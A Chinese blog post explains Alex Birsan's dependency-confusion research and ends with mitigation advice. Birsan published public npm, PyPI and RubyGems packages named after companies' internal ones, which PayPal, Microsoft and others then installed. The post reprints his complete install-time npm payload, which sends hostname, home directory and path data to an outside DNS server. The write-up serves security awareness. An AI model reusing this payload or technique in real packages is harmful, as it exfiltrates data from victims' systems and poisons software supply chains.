最近看到一个新闻,开眼了。
一个搞安全的程序员 Birsan, 利用 npm 的设计缺陷,成功进入了 35 个公司的内网系统,这些公司还是非常出名的,包括 Microsoft、Apple、PayPal、Tesla、Uber 等,也因此获得了超过 130,000 美元的赏金。那么他是怎么做到的呢?
一些包管理工具,比如说 Python 的 pip,Node.js 的 npm,Java 的 maven,可以从开源的仓库下载软件包,同时自动管理依赖项。其实我们都假设这些软件包是安全的,事实上,每个人都可以制作并上传自己开发的软件,一旦有人不怀好意,上传一些别有用心的软件包,你下载后软件会自动安装和执行,这就相当于被黑了。
问题是如何让别人下载呢?开源软件的代码是公开的,有问题的软件包被下载的概率很低,前***者会依靠社会工程手段或将软件命名为正常名称易拼写出错的名称,安装时一旦拼写错误,就下载了恶意软件。这种方式有一定的局限性,只要稍微认真点,就不会出错。
而 Birsan 用的是非常隐蔽的方式,就算软件包的名称完全正确,也有可能下载到恶意软件。具体的过程是这样的:
Birsan 发现了 PayPal 内部使用的 package.json,这里面有一些软件包并不在公共仓库中:
上图中标红色的部分,是 PayPal 内部使用的 npm 软件包,由公司内部使用和存储。看到这一点,Birsan 想知道,这些软件包是私有的,如果在公共 npm 存储库中存在同名的软件包会怎么样?
为了检验这个假设,Birsan 开始寻找一些私有内部软件包的名称,这可以在 GitHub 仓库或知名公司的 CDN 中的清单文件中找到,这些软件包在公共开放源代码仓库中是不存在的。
然后,Birsan 在开源存储库(例如 npm,PyPI 和 RubyGems)上使用相同的名称创建伪造项目。这些伪造的项目都是在他的真实帐户下完成的,并且有免责声明,并声明此程序包用于安全研究目的,并且不包含任何有用的代码。
结果发现,这些包管理工具会优先下载公共存储库上的软件包,如果不指定软件包的版本号,则优先下载高版本的软件包。这样,Birsan 只需发布与公司内部名称相同的软件包,就可以成功地对 Microsoft,Apple,PayPal,Shopify,Netflix,Tesla,Yelp 和 Uber 进行***。
那么你可能想知道,如何进行***的呢?软件包管理器,比如 pip,npm,具有预安装脚本,一旦下载就会进行安装,安装过程执行的代码就是***写好的代码,至于这些代码具体能做什么事情,写过程序的人都知道,你可以发挥想象。鉴于大多数公司网络都被保护的很好,想***没那么容易,Birsan 使用的是 DNS ***。
下面显示的代码就是 Birsan 制作的 npm 软件包 analytics-paypal(该软件包现在已从 npm 中删除)。
const dns = require('dns');
const os = require("os");
const suffix = '.dns.alexbirsan-hacks-paypal.com';
const package = 'analytics-paypal';
data = package +
'__' + os.hostname() +
'__' + os.homedir() +
'__' + __dirname;
data = data.replace(/[^a-zA-Z0-9._]/g,
function(m){
return '_' + m.charCodeAt(0).toString(16);
});
data = data.match(/.{1,50}/g);
dns.setServers(['46.101.225.109']);
id = Math.random().toString(36).substring(7);
data.forEach(function(chunk){
dns.resolve(id + '.' + chunk + suffix, 'A',console.log)
});
该脚本将在 analytics-paypal 依赖项被下载后立即自动启动,并向 dns.alexbirsan-hacks-paypal.com 发出 DNS 请求。从 PayPal 系统收到的回叫会提醒 Birsan,发出请求的 IP 属于贝宝 PayPal ,以及用户名和受感染系统的主目录。
充分验证这些假冒的软件包已成功***到公司网络后,Birsan 随后将其报告给这些被***的公司,并因此获得赏金。这些漏洞赏金计划让 Birsan 累计获得了 13 万美元的奖励。
那么这些公司都是如何修复的呢?修复可能会比较难,因为 pip,npm 是开源工具,工具本身存在缺陷,解铃还须系铃人,最好的解决办法就是维护一个健康的开源生态,比如给这些工具提供更安全的配置,对开源仓库中提交的软件包进行审核等等。
开源工具的缺陷并不是某一公司的问题,但可以对这些缺陷进行缓解,比如对于私有的软件包,使用前可以进行签名校验,确保该软件包来自于公司内部。
最后的话
我自己使用 pip,npm 时只是觉得它们如此的方便,非常依赖它们,以至于从未怀疑这些工具也存在安全问题,所谓最依赖的工具一旦出了问题也是最致命的,如果你的公司也存在类似的情况,是时候做出一些改进了。
从 Birsan 的经历中也可以看出,如果你有一个有趣的想法,请立即去验证它,无论结果如何,你都不虚此行。